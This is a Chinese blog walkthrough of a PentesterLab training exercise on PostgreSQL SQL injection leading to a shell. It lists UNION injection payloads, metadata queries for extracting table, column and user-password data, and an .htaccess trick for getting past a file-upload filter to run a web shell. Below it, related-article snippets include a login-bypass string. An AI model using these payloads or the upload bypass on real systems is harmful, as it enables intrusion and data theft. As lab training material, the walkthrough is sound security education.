FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

这里先介绍一下POSTGRESQL。这是一款数据库管理系统,与oracle是同类型软件。08年左右的市场占有率为8%。

上图为ITPUB社区开源数据库使用状况调查

探测SQL注入

本关可以说是FROM SQL INJECTION TO SHELL 这关的延续。建议先通过之前的关。

这关基本上和FROM SQL INJECTION TO SHELL是类似的。共同的部分就不再介绍了。

这关的错误代码发生了变化

利用SQL注入

攻击方法还是用UNION和ORDER BY两种

  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2
  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3

这里三种情况都有报错,但第三种情况报的错会不同。报错提示是数据类型不匹配。

再试试ORDER BY。这里很容易试出字段数量。超出查询字段数量,提示如下

检索信息

从上一步的UNION我们看到提示是数据类型不匹配,把数字改变成null试下。

  • 1 UNION SELECT 'aaaa',null,null,null

结果没有报错

我们再尝试下面几种情况

  • 1 UNION SELECT 'aaaa',null,null,null
  • 1 UNION SELECT null,'aaaa',null,null
  • 1 union select null,null,'aaaa',null
  • 1 union select null,null,null,'aaaa'

发现第2和3 个没有报错,第1,4报数据类型不匹配。如果查看网页的HTML,会发现'aaaa'存在于<img中,这可以猜出第3字段应该是与图片的文件名。

我们采用第2个进行构建语句,查询version(),current_user,current_database()

我注意到这里的函数与上一关的略有点不同,上一关的是version(),current_user(),current_database()

这是因为上一关的数据库是MYSQL。

http://www.vulnerable.com/cat.php?id=1%20union%20select%20null,version%28%29,null,null

接下来,我们尝试获取当前数据库的表名和字段。方法和MYSQL的类似。POSTGRESQL也有一个meta-information数据库,我们可以构建语句查询

查询表名:SELECT tablename FROM pg_tables

查询所有字段:

SELECT column_name FROM information_schema.columns

结合到实例中:

  • 1 UNION SELECT null,tablename,null,null FROM pg_tables
  • 1 UNION SELECT null,column_name,null,null FROM information_schema.columns

同时取得字段和对应的表名

  • 1 UNION SELECT null, table_name, column_name,null,null FROM information_schema.columns
  • 1 UNION SELECT null,table_name||':'|| column_name,null,null FROM information_schema.columns.

上一关是用contact函数,而这个数据库不能用。

从结果中找到用户表USERS和它的字段

查出密码再解密还原。

登陆账号,注入文件

这里开始是本关的难点。

上一关用.php3就混过关, 这次又被过滤了。经尝试,只要带php的,统统被过滤。

这次要引入 .htaccess文件

这个文件很多妙用,它与windows的autorun.inf有点类似。请查看百度百科

htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

.htaccess文件的内容如下,意思是增加一种php模块执行的后缀。blah后缀不太可能被过滤掉。

特别注意下".htaccess"不是后缀,在windows图形界面下是难重命名成这个名字,需要DOS下改。

再把shell.php3更名为shell.blah,上传这两个到服务器。神奇的事就发生了。

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION的更多相关文章

  1. PentesterLab-From SQL Injection to Shell: PostgreSQL edition

    一.打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入 由于PostgreSQL与MySQL不同,几个关注点需要注意下 二.order by下 ...

  2. [SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优

    最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true, ...

  3. 读书笔记之SQL注入漏洞和SQL调优

    原文:读书笔记之SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“' ...

  4. SQL注入漏洞和SQL调优SQL注入漏洞和SQL调优

    SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这 ...

  5. 【sql注入教程】SQL注入是什么?我们如何去玩转它

    [sql注入教程]SQL注入是什么?我们如何去玩转它 本文转自:i春秋社区   SQL注入攻击是黑客攻击数据库最常见手段之一.简单讲,SQL注入攻击是黑客利用网站程序漏洞,通过提交精心构造的SQL语句 ...

  6. [SQL注入1]From SQL injection to Shell

    第一次写,希望大神们多指点. 对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习.网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTE ...

  7. sqli-labs(八)——修改密码处sql注入+http头sql注入

    第17关: 这是一个重置密码的功能存在sqk注入,尝试账号密码都输入'",发现只会显示登陆失败,没有报错信息. 这个时候先推测一下后台的sql形式大概应该是: update users se ...

  8. sql注入和防sql注入

    sql注入: from pymysql import * def main(): # 创建连接 conn = connect(host="127.0.0.1", port=3306 ...

  9. PHP:测试SQL注入以及防止SQL注入

    在写登录注册的时候发现了SQL和JS注入这个危害网站的用户举动: 测试方法: SQL注入: 先来做一个测试: 用户名:’ or 1 # 密码:随便写8位以上 验证码:写正确 好吧,就那么简单就进去了: ...

随机推荐

  1. Java正则表达式的语法与示例

    Java正则表达式的语法与示例 java 正则表达式 正则表达式语法 java正则表达式语法 java正则表达式 概要: Java正则表达式的语法与示例 | |目录 1匹配验证-验证Email是否正确 ...

  2. WIN7笔记本显示连接不可用

    如图所示,找不到任何无线网络 解决方法: 不小心把无线关掉而已,笔记本键盘上F5~F12找看看有没有无线标志,有的话要先按下 Fn键不放,再按下那个有无线标志的Fn键.

  3. HDU5140---Hun Gui Wei Company (主席树)

    主席树太强大了,,如果仅仅用来求第k大就太屈才了..貌似和HDU4605差不多,那个是在图上根据点的顺序建立主席树,这个是根据年龄大小 或者等级高低建立主席树. 题意 大致就是一个二维区间的求和,但是 ...

  4. JAVA面向对象总结

    面向对象概述       面向对象是当前计算机界关心的重点,它是90年代软件开发方法的主流.面向对象的概念和应用已超越程序设计和软件开发,如数据库系统.交互式界面.应用结构.应用平台.分布式系统.网络 ...

  5. 《SDN核心技术剖析和实战指南》2.2OpenFlow交换机规范小结

    这节的内容相当多,主要是介绍OpenFlow标准特别是流表的相关特性. 典型的OpenFlow标准由三部分组成:安全通道,流表和OpenFlow协议.注意这个标准是一份设备标准,并不单指OpenFlo ...

  6. Java中的克隆(CLONE)

    解读克隆 编程过程中我们常常遇到如下情况: 假设有一个对象object,在某处又需要一个跟object一样的实例object2,强调的是object和object2是两个独立的实例,只是在 开始的时候 ...

  7. zoj3658 Simple Function (函数值域)

    Simple Function Time Limit: 2 Seconds       Memory Limit: 32768 KB Knowing that x can be any real nu ...

  8. Android笔记(二):从savedIndstanceState发散

    savedIndstanceState savedIndstanceState位于ActivityonCreate(Bundle savedInstanceState)方法的参数中.对这个参数的理解要 ...

  9. Js中执行变量中的命令语句,也就是所谓的宏替换(很实用的例子)

    Js中执行变量中的命令语句,也就是所谓的宏替换(很实用的例子) 由其做动态编程时非常有用,必须符合js中的语法,用eval能够执行. var aaa="alert('这是变量中的语句')&q ...

  10. Android事件处理之多点触摸与手势识别

    一.Muilti-touch 双指缩放的实现探索: 首先要实现OnTouchListener接口,然后重写方法: public boolean onTouch(View v, MotionEvent ...